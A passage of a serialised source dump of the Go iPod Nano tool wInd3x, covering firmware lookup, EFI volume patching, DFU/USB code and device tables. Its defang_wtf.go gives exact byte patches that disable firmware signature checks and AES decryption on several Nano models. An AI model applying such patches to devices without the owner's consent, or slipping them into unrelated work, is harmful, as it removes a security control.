{\n\t\treturn \"\", err\n\t}\n\n\tpid, ok := dev.Description().PIDs[devices.WTF]\n\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"could not find WTF PID for device %s\", dev)\n\t}\n\n\tpidext := int(pid) << 16\n\tk2 := fmt.Sprintf(\"%d\", pidext)\n\n\tfor _, v := range j.MobileDeviceSoftware {\n\t\tif rs, ok := v.RecoverySoftware.Firmware.DFU[k2]; ok {\n\t\t\treturn rs.FirmwareURL, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"not found\")\n}\n\nfunc RecoveryWTFURL(dev devices.Kind) (string, error) {\n\tj, err := getJingle()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tpid, ok := dev.Description().PIDs[devices.DFU]\n\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"could not find DFU PID for device %s\", dev)\n\t}\n\n\tpidext := int(pid) << 16\n\tk2 := fmt.Sprintf(\"%d\", pidext)\n\n\tfor _, v := range j.MobileDeviceSoftware {\n\t\tif rs, ok := v.RecoverySoftware.WTF[k2]; ok {\n\t\t\treturn rs.FirmwareURL, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"not found\")\n}\n\nfunc FirmwareURL(dev devices.Kind) (string, error) {\n\tif version, ok := FirmwareVersionOverrides[dev]; ok {\n\t\tif version != \"current\" {\n\t\t\tif extra, ok := extraFirmwareVersions[dev]; ok {\n\t\t\t\tif url, ok := extra[version]; ok {\n\t\t\t\t\treturn url, nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn \"\", fmt.Errorf(\"firmware IPSW override specified, but invalid\")\n\t\t}\n\t}\n\n\tj, err := getJingle()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfor _, isv := range j.IPodSoftwareVersions {\n\t\tif isv.UpdaterFamilyID != dev.Description().UpdaterFamilyID {\n\t\t\tcontinue\n\t\t}\n\t\treturn isv.FirmwareURL, nil\n\t}\n\treturn \"\", fmt.Errorf(\"not found\")\n}\n\nfunc urlForKind(pk PayloadKind, dk devices.Kind) (string, error) {\n\tswitch pk {\n\tcase PayloadKindWTFUpstream:\n\t\treturn RecoveryWTFURL(dk)\n\tcase PayloadKindRecoveryUpstream:\n\t\treturn RecoveryFirmwareDFUURL(dk)\n\tcase PayloadKindFirmwareUpstream, PayloadKindBootloaderUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:\n\t\treturn FirmwareURL(dk)\n\tdefault:\n\t\treturn \"\", nil\n\t}\n}\n"
  },
  {
    "path": "pkg/cfw/cfw.go",
    "content": "package cfw\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/efi\"\n)\n\n// VisitVolume is the main call used to patch an EFI volume. The patching to be\n// performed is defined by the VolumeVisitor given.\nfunc VisitVolume(v *efi.Volume, vi VolumeVisitor) error {\n\tfor _, file := range v.Files {\n\t\tif err := vi.VisitFile(file); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor _, section := range file.Sections {\n\t\t\tif err := visitSection(section, vi); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn vi.Done()\n}\n\nfunc visitSection(s efi.Section, vi VolumeVisitor) error {\n\tif err := vi.VisitSection(s); err != nil {\n\t\treturn err\n\t}\n\tfor _, sub := range s.Sub() {\n\t\tif f := sub.File; f != nil {\n\t\t\tif err := vi.VisitFile(f); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif s := sub.Section; s != nil {\n\t\t\tif err := visitSection(s, vi); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// VolumeVisitor is a visitor which can modify an EFI firmware volume. Its\n// methods will be called by VisitVolume as it recursively traverses files and\n// sections contained in files.\ntype VolumeVisitor interface {\n\t// VisitFile will be called when the traversal encounters a file.\n\tVisitFile(file *efi.FirmwareFile) error\n\t// VisitSection will be called when the traversal encounters a section\n\t// withing a file.\n\tVisitSection(section efi.Section) error\n\t// Done will be called when the traversal is done with all files/sections.\n\tDone() error\n}\n\n// MultipleVisitors implements VolumeVisitor by calling subordinate\n// VolumeVisitors in parallel, allowing multiple files within a single firmware\n// volume to be patched.\ntype MultipleVisitors []VolumeVisitor\n\nfunc (m MultipleVisitors) VisitFile(file *efi.FirmwareFile) error {\n\tfor _, vi := range m {\n\t\tif err := vi.VisitFile(file); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (m MultipleVisitors) VisitSection(section efi.Section) error {\n\tfor _, vi := range m {\n\t\tif err := vi.VisitSection(section); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (m MultipleVisitors) Done() error {\n\tfor _, vi := range m {\n\t\tif err := vi.Done(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// VisitPE32InFile is a VolumeVisitor which applies a Patch on a single PE32\n// section within a file. The section doesn't have to be top-level.\ntype VisitPE32InFile struct {\n\t// FileGUID is the file on whose PE32 section Patch will be applied.\n\tFileGUID efi.GUID\n\tPatch    Patch\n\n\tinFile  bool\n\tapplied bool\n}\n\nfunc (v *VisitPE32InFile) VisitFile(file *efi.FirmwareFile) error {\n\tv.inFile = file.GUID.String() == v.FileGUID.String()\n\treturn nil\n}\n\nfunc (v *VisitPE32InFile) VisitSection(section efi.Section) error {\n\tif !v.inFile {\n\t\treturn nil\n\t}\n\tif section.Header().Type == efi.SectionTypePE32 {\n\t\tif v.applied {\n\t\t\treturn fmt.Errorf(\"more than one PE32 section found\")\n\t\t}\n\t\tout, err := v.Patch.Apply(section.Raw())\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"patching failed: %w\", err)\n\t\t}\n\t\tsection.SetRaw(out)\n\t\tv.applied = true\n\t}\n\treturn nil\n}\n\nfunc (v *VisitPE32InFile) Done() error {\n\tif !v.applied {\n\t\treturn fmt.Errorf(\"guid %s not found\", v.FileGUID.String())\n\t}\n\treturn nil\n}\n\n// Patch defined an operation performed on some binary blob.\ntype Patch interface {\n\tApply(in []byte) (out []byte, err error)\n}\n\n// Patches implements Patch by calling a series of Patches in sequnce. This\n// allows applying multiple Patches to a single section.\ntype Patches []Patch\n\nfunc (p Patches) Apply(in []byte) ([]byte, error) {\n\tcur := in\n\tfor i, s := range p {\n\t\tnext, err := s.Apply(cur)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"patch %d: %w\", i, err)\n\t\t}\n\t\tcur = next\n\t}\n\treturn cur, nil\n}\n\n// ReplaceAt replaces all occurences of a given pattern with another sequence.\n// The sequences must be equal length.\ntype ReplaceExact struct {\n\tFrom []byte\n\tTo   []byte\n}\n\nfunc (p ReplaceExact) Apply(in []byte) ([]byte, error) {\n\tif len(p.From) != len(p.To) {\n\t\treturn nil, fmt.Errorf(\"from/to is different length\")\n\t}\n\tif bytes.Equal(p.From, p.To) {\n\t\treturn nil, fmt.Errorf(\"pattern is a no-op\")\n\t}\n\tout := bytes.ReplaceAll(in, p.From, p.To)\n\tif bytes.Equal(in, out) {\n\t\treturn nil, fmt.Errorf(\"pattern not found\")\n\t}\n\treturn out, nil\n}\n\n// PatchAt writes a sequence of bytes at a given offset.\ntype PatchAt struct {\n\tAddress int\n\tTo      []byte\n}\n\nfunc (p PatchAt) Apply(in []byte) ([]byte, error) {\n\tif len(in) < p.Address+len(p.To) {\n\t\treturn nil, fmt.Errorf(\"input too small\")\n\t}\n\n\tdata := in[:p.Address]\n\tdata = append(data, p.To...)\n\tdata = append(data, in[p.Address+len(p.To):]...)\n\treturn data, nil\n}\n"
  },
  {
    "path": "pkg/cfw/defang_wtf.go",
    "content": "package cfw\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/efi\"\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n)\n\n// defanger takes a decrypted WTF and returns it with security checks disabled.\ntype Defanger func(decrypted []byte) ([]byte, error)\n\nvar WTFDefangers = map[devices.Kind]Defanger{\n\tdevices.Nano3: defangRaw(map[int][]byte{\n\t\t// replace bytes at addresses in the WTF binary:\n\t\t0x1990: []byte{0x00, 0x70, 0xA0, 0xE3, 0x22, 0x00, 0x00, 0xEA},                      // skip signature check\n\t\t0x770C: []byte(\"D\\x00e\\x00f\\x00a\\x00n\\x00g\\x00e\\x00d\\x00 \\x00W\\x00T\\x00F\\x00!\\x00\"), // change USB product string to show it's defanged\n\t}),\n\tdevices.Nano5: defangEFI(MultipleVisitors([]VolumeVisitor{\n\t\t// Change USB vendor string in RestoreDFU.efi.\n\t\t&VisitPE32InFile{\n\t\t\tFileGUID: efi.MustParseGUID(\"a0517d80-37fa-4d06-bd0e-941d5698846a\"),\n\t\t\tPatch: Patches([]Patch{\n\t\t\t\tReplaceExact{From: []byte(\"Apple Inc.\"), To: []byte(\"freemyipod\")},\n\t\t\t}),\n\t\t},\n\t\t// Disable signature checking in ROMBootValidator.efi.\n\t\t&VisitPE32InFile{\n\t\t\tFileGUID: efi.MustParseGUID(\"1ba058e3-2063-4919-8002-6d2e0c947e60\"),\n\t\t\tPatch: Patches([]Patch{\n\t\t\t\t// CheckHeaderSignatureImpl -> return 0\n\t\t\t\tPatchAt{\n\t\t\t\t\tAddress: 0x15b8,\n\t\t\t\t\tTo: []byte{\n\t\t\t\t\t\t0x00, 0x20,\n\t\t\t\t\t\t0x70, 0x47,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t// CheckDataSignature -> return 1\n\t\t\t\tPatchAt{\n\t\t\t\t\tAddress: 0x0b4c,\n\t\t\t\t\tTo: []byte{\n\t\t\t\t\t\t0x01, 0x20,\n\t\t\t\t\t\t0x70, 0x47,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}),\n\t\t},\n\t})),\n\tdevices.Nano7: defangEFI(MultipleVisitors([]VolumeVisitor{\n\t\t// Change USB vendor string in ARM/AppleMobilePkg/Dfu/Dfu/DEBUG/Dfu.dll.\n\t\t&VisitPE32InFile{\n\t\t\tFileGUID: efi.MustParseGUID(\"936ffb79-62f6-4fc0-aff0-3e2a1c56f1a7\"),\n\t\t\tPatch: Patches([]Patch{\n\t\t\t\tReplaceExact{From: []byte(\"Apple Inc.\"), To: []byte(\"freemyipod\")},\n\t\t\t}),\n\t\t},\n\t\t// Disable signature checking in ARM/SamsungPkg/Chipset/S5L8720/ROMBootValidator/ROMBootValidator/DEBUG/ROMBootValidator.dll\n\t\t&VisitPE32InFile{\n\t\t\tFileGUID: efi.MustParseGUID(\"1ba058e3-2063-4919-8002-6d2e0c947e60\"),\n\t\t\tPatch: Patches([]Patch{\n\t\t\t\t// CheckHeaderSignatureImpl -> return 0\n\t\t\t\tPatchAt{\n\t\t\t\t\tAddress: 0x19a4,\n\t\t\t\t\tTo: []byte{\n\t\t\t\t\t\t0x00, 0x20, // mov r0, #0\n\t\t\t\t\t\t0x70, 0x47, // bx lr\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t// CheckDataSignature -> return 1\n\t\t\t\tPatchAt{\n\t\t\t\t\tAddress: 0x0d78,\n\t\t\t\t\tTo: []byte{\n\t\t\t\t\t\t0x01, 0x20, // mov r0, #1\n\t\t\t\t\t\t0x70, 0x47, // bx lr\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t// Call AES for both type 4 and type 3 (we generate type 4,\n\t\t\t\t// while usually AES images are type 3, we turn AES decryption\n\t\t\t\t// into a no-op in Aes.dll below).\n\t\t\t\tPatchAt{\n\t\t\t\t\tAddress: 0x176e,\n\t\t\t\t\tTo: []byte{\n\t\t\t\t\t\t0x04, 0x28, // cmp r0, #4\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}),\n\t\t},\n\t\t// Replace AES decryption with no-op memcpy\n\t\t&VisitPE32InFile{\n\t\t\tFileGUID: efi.MustParseGUID(\"c0287dba-8a73-4ff1-98f1-455b97d4d480\"),\n\t\t\tPatch: Patches([]Patch{\n\t\t\t\t// AESProtocol::Decrypt -> memcpy\n\t\t\t\tPatchAt{\n\t\t\t\t\tAddress: 0x488,\n\t\t\t\t\tTo: []byte{\n\t\t\t\t\t\t// _loop:\n\t\t\t\t\t\t0x08, 0x68, // ldr r0, [r1]\n\t\t\t\t\t\t0x04, 0x31, // add r1, r1, #4\n\t\t\t\t\t\t0x10, 0x60, // str r0, [r2]\n\t\t\t\t\t\t0x04, 0x32, // add r2, r2, #4\n\t\t\t\t\t\t0x04, 0x3b, // sub r3, r3, #4\n\t\t\t\t\t\t0x03, 0xb1, // cbz r3, _done\n\t\t\t\t\t\t0xf8, 0xe7, // b _loop\n\t\t\t\t\t\t// _done:\n\t\t\t\t\t\t0x70, 0x47, // bx lr\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}),\n\t\t},\n\t})),\n}\n\nfunc defangEFI(visitor VolumeVisitor) Defanger {\n\treturn func(decrypted []byte) ([]byte, error) {\n\t\timg, err := image.Read(bytes.NewReader(decrypted))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdefanged, err := applyPatches(img, visitor)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to apply patches: %w\", err)\n\t\t}\n\t\treturn defanged, nil\n\t}\n}\n\nfunc applyPatches(img *image.IMG1, patches VolumeVisitor) ([]byte, error) {\n\toffs := 0x100\n\tswitch img.DeviceKind {\n\tcase devices.Nano7, devices.Nano7Late:\n\t\toffs = 0\n\t}\n\tnr := efi.NewNestedReader(img.Body[offs:])\n\tfv, err := efi.ReadVolume(nr)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read firmware volume: %w\", err)\n\t}\n\n\torigSize, err := SecoreOffset(fv)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to calculate original secore offset: %w\", err)\n\t}\n\tslog.Info(\"Initial pre-padding\", \"size\", origSize)\n\n\tslog.Info(\"Applying patches...\")\n\tif err := VisitVolume(fv, patches); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to apply patches: %w\", err)\n\t}\n\n\tslog.Info(\"Fixing up padding...\")\n\tif err := SecoreFixup(origSize, fv); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to fix up size: %w\", err)\n\t}\n\tslog.Info(\"Done.\")\n\n\tfvb, err := fv.Serialize()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to rebuild firmware: %w\", err)\n\t}\n\n\tfvb = append(img.Body[:offs], fvb...)\n\timb, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, fvb)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to build new image1: %w\", err)\n\t}\n\n\treturn imb, nil\n}\n\nfunc defangRaw(patches map[int][]byte) Defanger {\n\treturn func(decrypted []byte) ([]byte, error) {\n\t\timg, err := image.Read(bytes.NewReader(decrypted))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read image: %w\", err)\n\t\t}\n\n\t\tfor offset, patch := range patches {\n\t\t\tif len(img.Body) < offset+len(patch) {\n\t\t\t\treturn nil, fmt.Errorf(\"patch at offset %x is too large\", offset)\n\t\t\t}\n\t\t\tcopy(img.Body[offset:], patch)\n\t\t}\n\n\t\tdefanged, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, img.Body)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to build new image1: %w\", err)\n\t\t}\n\n\t\treturn defanged, nil\n\t}\n}\n"
  },
  {
    "path": "pkg/cfw/fixup.go",
    "content": "package cfw\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/efi\"\n)\n\n// secoreOffset returns the offset of the security core TE within the firmware\n// volume. The security core is located in the last file in the firmware, and\n// must not be moved around when the firmware is rebuilt.\nfunc SecoreOffset(fv *efi.Volume) (int, error) {\n\tif len(fv.Files) < 3 {\n\t\treturn 0, fmt.Errorf(\"firmwware volume must have at least two files\")\n\t}\n\n\tif fv.Files[0].FileType == efi.FileTypeSecurityCore {\n\t\t// On N7G, the first file is the security core, and we just need to make\n\t\t// sure it stays as the first file.\n\t\treturn fv.Files[0].ReadOffset, nil\n\t}\n\n\tipadding := len(fv.Files) - 2\n\tite := len(fv.Files) - 1\n\tif fv.Files[ipadding].FileType != efi.FileTypePadding {\n\t\treturn 0, fmt.Errorf(\"second to last file must be padding\")\n\t}\n\tif fv.Files[ite].FileType != efi.FileTypeSecurityCore {\n\t\treturn 0, fmt.Errorf(\"last file must be security core\")\n\t}\n\n\treturn fv.Files[ite].ReadOffset, nil\n}\n\n// secoreFixup attempts to mangle the given firmware volume to place the\n// security core at origPos. This is currently done by modifying the padding\n// file, which is the second-to-last file within the firmware volume.\nfunc SecoreFixup(origPos int, fv *efi.Volume) error {\n\t// Serialize and deserialize to get updated ReadOffsets and thus correct\n\t// SecoreOffset.\n\tdata, err := fv.Serialize()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"when roundtrip-serializing: %w\", err)\n\t}\n\tfv2, err := efi.ReadVolume(efi.NewNestedReader(data))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"when roundtrip-deserializing: %w\", err)\n\t}\n\n\tstartPos, err := SecoreOffset(fv2)\n\tif err != nil {\n\t\treturn err\n\t}\n\tneeded := origPos - startPos\n\tslog.Info(\"Pre-padding after patches\", \"startPos\", startPos, \"needed\", needed)\n\n\tif needed == 0 {\n\t\treturn nil\n\t}\n\n\tipadding := len(fv.Files) - 2\n\tpadding := fv.Files[ipadding]\n\tpsize := int(padding.Size.Uint32() - 0x18)\n\tif needed < 0 {\n\t\treduce := -needed\n\t\tif psize < reduce {\n\t\t\treturn fmt.Errorf(\"Padding too small: need %d, got %d\", reduce, psize)\n\t\t}\n\t\tpsize -= reduce\n\t} else {\n\t\tpsize += needed\n\t}\n\tpadding.Size = efi.ToUint24(uint32(psize) + 0x18)\n\n\t// One more roundtrip to check. This code isn't great.\n\tdata, err = fv.Serialize()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"when check-serializing: %w\", err)\n\t}\n\tfv3, err := efi.ReadVolume(efi.NewNestedReader(data))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"when check-deserializing: %w\", err)\n\t}\n\n\tendPos, err := SecoreOffset(fv3)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif endPos != origPos {\n\t\treturn fmt.Errorf(\"Failed to adjust padding (%d -> %d)\", origPos, endPos)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/devices/devices.go",
    "content": "package devices\n\ntype Kind string\n\nconst (\n\tNano3     Kind = \"n3g\"\n\tNano4     Kind = \"n4g\"\n\tNano5     Kind = \"n5g\"\n\tNano6     Kind = \"n6g\"\n\tNano7     Kind = \"n7g\"\n\tNano7Late Kind = \"n7g-late\"\n)\n\ntype InterfaceKind string\n\nconst (\n\tDFU  InterfaceKind = \"dfu\"\n\tWTF  InterfaceKind = \"wtf\"\n\tDisk InterfaceKind = \"diskmode\"\n)\n\ntype DFUProtoVersion int\n\nconst (\n\t// DFUProtoVersion1 is implemented by Nano3G.\n\tDFUProtoVersion1 DFUProtoVersion = 1\n\t// DFUProtoVersion2 is implemented by Nano4G+.\n\tDFUProtoVersion2 DFUProtoVersion = 2\n)\n\nfunc (k Kind) String() string {\n\tswitch k {\n\tcase Nano3:\n\t\treturn \"Nano 3G\"\n\tcase Nano4:\n\t\treturn \"Nano 4G\"\n\tcase Nano5:\n\t\treturn \"Nano 5G\"\n\tcase Nano6:\n\t\treturn \"Nano 6G\"\n\tcase Nano7:\n\t\treturn \"Nano 7G\"\n\tcase Nano7Late:\n\t\treturn \"Nano 7G (Mid-2015)\"\n\t}\n\treturn \"UNKNOWN\"\n}\n\nfunc (k Kind) SoCCode() string {\n\tswitch k {\n\tcase Nano3:\n\t\treturn \"8702\"\n\tcase Nano4:\n\t\treturn \"8720\"\n\tcase Nano5:\n\t\treturn \"8730\"\n\tcase Nano6:\n\t\treturn \"8723\"\n\tcase Nano7, Nano7Late:\n\t\treturn \"8740\"\n\t}\n\treturn \"INVL\"\n}\n\nfunc (k Kind) DFUVersion() DFUProtoVersion {\n\tswitch k {\n\tcase Nano3:\n\t\treturn DFUProtoVersion1\n\tdefault:\n\t\treturn DFUProtoVersion2\n\t}\n}\n\nfunc (k Kind) Description() Description {\n\tfor _, d := range Descriptions {\n\t\tif d.Kind == k {\n\t\t\treturn d\n\t\t}\n\t}\n\tpanic(\"unreachable\")\n}\n\ntype Description struct {\n\tVID             int16\n\tPIDs            map[InterfaceKind]int16\n\tUpdaterFamilyID int\n\tKind            Kind\n}\n\nvar Descriptions = []Description{\n\t{\n\t\tVID: 0x05ac,\n\t\tPIDs: map[InterfaceKind]int16{\n\t\t\tDFU:  0x1223,\n\t\t\tWTF:  0x1242,\n\t\t\tDisk: 0x1262,\n\t\t},\n\t\tUpdaterFamilyID: 26,\n\t\tKind:            Nano3,\n\t},\n\t{\n\t\tVID: 0x05ac,\n\t\tPIDs: map[InterfaceKind]int16{\n\t\t\tDFU:  0x1225,\n\t\t\tWTF:  0x1243,\n\t\t\tDisk: 0x1263,\n\t\t},\n\t\tUpdaterFamilyID: 31,\n\t\tKind:            Nano4,\n\t},\n\t{\n\t\tVID: 0x05ac,\n\t\tPIDs: map[InterfaceKind]int16{\n\t\t\tDFU:  0x1231,\n\t\t\tWTF:  0x1246,\n\t\t\tDisk: 0x1265,\n\t\t},\n\t\tUpdaterFamilyID: 34,\n\t\tKind:            Nano5,\n\t},\n\t{\n\t\tVID: 0x05ac,\n\t\tPIDs: map[InterfaceKind]int16{\n\t\t\tDFU:  0x1232,\n\t\t\tWTF:  0x1248,\n\t\t\tDisk: 0x1266,\n\t\t},\n\t\tUpdaterFamilyID: 36,\n\t\tKind:            Nano6,\n\t},\n\t{\n\t\tVID: 0x05ac,\n\t\tPIDs: map[InterfaceKind]int16{\n\t\t\tDFU:  0x1234,\n\t\t\tWTF:  0x1249,\n\t\t\tDisk: 0x1267,\n\t\t},\n\t\tUpdaterFamilyID: 37,\n\t\tKind:            Nano7,\n\t},\n\t{\n\t\tVID: 0x05ac,\n\t\tPIDs: map[InterfaceKind]int16{\n\t\t\tWTF: 0x124a,\n\t\t},\n\t\tUpdaterFamilyID: 37,\n\t\tKind:            Nano7Late,\n\t},\n}\n"
  },
  {
    "path": "pkg/devices/usb.go",
    "content": "package devices\n\nimport (\n\t\"errors\"\n\t\"time\"\n)\n\n// Usb describes a common API to access an iPod (in any state - DFU, WTF,\n// RetailOS, ...) over USB.\ntype Usb interface {\n\t// UseDefaultInterface requests the underlying provider to grant access to\n\t// control transfers to the default interface. This is most of our\n\t// interactions with the iPod.\n\tUseDefaultInterface() error\n\n\t// UseDiskInterface requests the underlying provider to grant access to the\n\t// USB Mass Storage API endpoints, taking them over from the default OS\n\t// driver.\n\tUseDiskInterface() (UsbMsEndpoints, error)\n\n\t// Control sends a control request to the device.\n\tControl(rType, request uint8, val, idx uint16, data []byte) (int, error)\n\n\tSetControlTimeout(time.Duration) error\n\n\tGetStringDescriptor(descIndex int) (string, error)\n\n\t// Close disposes of this device. No other functions may be called on the\n\t// interface afterwards.\n\tClose() error\n}\n\ntype UsbMsInEndpoint interface {\n\tRead(buf []byte) (int, error)\n}\n\ntype UsbMsOutEndpoint interface {\n\tWrite(buf []byte) (int, error)\n}\n\ntype UsbMsEndpoints struct {\n\tIn  UsbMsInEndpoint\n\tOut UsbMsOutEndpoint\n}\n\nvar UsbTimeoutError = errors.New(\"USB timeout error\")\n"
  },
  {
    "path": "pkg/dfu/dfu.go",
    "content": "package dfu\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"hash/crc32\"\n\t\"io\"\n\t\"log/slog\"\n\t\"time\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n)\n\ntype Request uint8\n\nconst (\n\tRequestDetach    Request = 0\n\tRequestDnload    Request = 1\n\tRequestUpload    Request = 2\n\tRequestGetStatus Request = 3\n\tRequestClrStatus Request = 4\n\tRequestGetState  Request = 5\n\tRequestAbort     Request = 6\n)\n\ntype Err uint8\n\nconst (\n\tErrOk          Err = 0x00\n\tErrTarget      Err = 0x01\n\tErrFile        Err = 0x02\n\tErrWrite       Err = 0x03\n\tErrErase       Err = 0x04\n\tErrCheckErased Err = 0x05\n\tErrProg        Err = 0x06\n\tErrVerify      Err = 0x07\n\tErrAddress     Err = 0x08\n\tErrNotDone     Err = 0x09\n\tErrFirmware    Err = 0x0a\n\tErrVendor      Err = 0x0b\n\tErrUsbr        Err = 0x0c\n\tErrPor         Err = 0x0d\n\tErrUnknown     Err = 0x0e\n\tErrStalledPkt  Err = 0x0f\n)\n\ntype State uint8\n\nconst (\n\tStateAppIdle           State = 0\n\tStateAppDetach         State = 1\n\tStateIdle              State = 2\n\tStateDnloadSync        State = 3\n\tStateDnBusy            State = 4\n\tStateDnloadIdle        State = 5\n\tStateManifestSync      State = 6\n\tStateManifest          State = 7\n\tStateManifestWaitReset State = 8\n\tStateUploadIdle        State = 9\n\tStateError             State = 10\n)\n\nfunc (d State) String() string {\n\tswitch d {\n\tcase StateAppIdle:\n\t\treturn \"appIDLE\"\n\tcase StateAppDetach:\n\t\treturn \"appDETACH\"\n\tcase StateIdle:\n\t\treturn \"dfuIDLE\"\n\tcase StateDnBusy:\n\t\treturn \"dfuDNBUSY\"\n\tcase StateDnloadIdle:\n\t\treturn \"dfuDNLOAD-IDLE\"\n\tcase StateManifestSync:\n\t\treturn \"dfuMANIFEST-SYNC\"\n\tcase StateManifest:\n\t\treturn \"dfuMANIFEST\"\n\tcase StateManifestWaitReset:\n\t\treturn \"dfuMANIFEST-WAIT-RESET\"\n\tcase StateUploadIdle:\n\t\treturn \"dfuUPLOAD-IDLE\"\n\tcase StateError:\n\t\treturn \"dfuERROR\"\n\t}\n\treturn \"UNKNOWN\"\n}\n\nfunc GetState(usb devices.Usb) (State, error) {\n\tbuf := make([]byte, 1)\n\tres, err := usb.Control(0xa1, uint8(RequestGetState), 0, 0, buf)\n\tif err != nil {\n\t\treturn StateError, fmt.Errorf(\"control: %w\", err)\n\t}\n\tif res != 1 {\n\t\treturn StateError, fmt.Errorf(\"state returned %d bytes\", res)\n\t}\n\treturn State(uint8(buf[0])), nil\n}\n\ntype Status struct {\n\tErr     Err\n\tState   State\n\tTimeout time.Duration\n}\n\nfunc GetStatus(usb devices.Usb) (*Status, error) {\n\tbuf := make([]byte, 6)\n\tres, err := usb.Control(0xa1, uint8(RequestGetStatus), 0, 0, buf)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"control: %w\", err)\n\t}\n\tif res != 6 {\n\t\treturn nil, fmt.Errorf(\"status returned %d bytes\", res)\n\t}\n\n\ttimeoutMsec := (uint32(buf[3]) << 16) | (uint32(buf[2]) << 8) | uint32(buf[1])\n\treturn &Status{\n\t\tErr:     Err(uint8(buf[0])),\n\t\tState:   State(uint8(buf[4])),\n\t\tTimeout: time.Duration(timeoutMsec) * time.Millisecond,\n\t}, nil\n}\n\nfunc ClearStatus(usb devices.Usb) error {\n\t_, err := usb.Control(0x21, uint8(RequestClrStatus), 0, 0, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"control: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc ReceiveChunk(usb devices.Usb, l int, blockno uint16) ([]byte, error) {\n\tbuf := make([]byte, l)\n\t_, err := usb.Control(0xa1, uint8(RequestUpload), blockno, 0, buf)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"control: %w\", err)\n\t}\n\treturn buf, nil\n}\n\nfunc SendChunk(usb devices.Usb, c []byte, blockno uint16) error {\n\t_, err := usb.Control(0x21, uint8(RequestDnload), blockno, 0, c)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"control: %w\", err)\n\t}\n\treturn nil\n}\n\ntype SendOption struct {\n\tProgress func(float32)\n}\n\nfunc SendImage(usb devices.Usb, i []byte, version devices.DFUProtoVersion, opts ...SendOption) error {\n\tvar progress func(float32)\n\tfor _, opt := range opts {\n\t\tif opt.Progress != nil {\n\t\t\tprogress = opt.Progress\n\t\t}\n\t}\n\n\tif err := Clean(usb); err != nil {\n\t\treturn fmt.Errorf(\"clean: %w\", err)\n\t}\n\n\tif version == devices.DFUProtoVersion1 {\n\t\tcrc := bytes.NewBuffer(nil)\n\t\tbinary.Write(crc, binary.LittleEndian, crc32.ChecksumIEEE(i))\n\t\tfor _, b := range crc.Bytes() {\n\t\t\ti = append(i, b^0xff)\n\t\t}\n\t}\n\n\tclen := 0x400\n\n\tbuf := bytes.NewBuffer(i)\n\tblockno := uint16(0)\n\tdone := 0\n\tfor {\n\t\tchunk := make([]byte, clen)\n\t\tn, err := buf.Read(chunk)\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn fmt.Errorf(\"read failed: %w\", err)\n\t\t}\n\t\tdone += n\n\t\tif err := SendChunk(usb, chunk[:n], blockno); err != nil {\n\t\t\treturn fmt.Errorf(\"chunk %d failed: %w\", blockno, err)\n\t\t}\n\t\tif progress != nil {\n\t\t\tprogress(float32(done) / float32(len(i)))\n\t\t}\n\t\tstatus, err := GetStatus(usb)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"chunk %d status failed: %w\", blockno, err)\n\t\t}\n\t\tif want, got := ErrOk, status.Err; want != got {\n\t\t\treturn fmt.Errorf(\"chunk 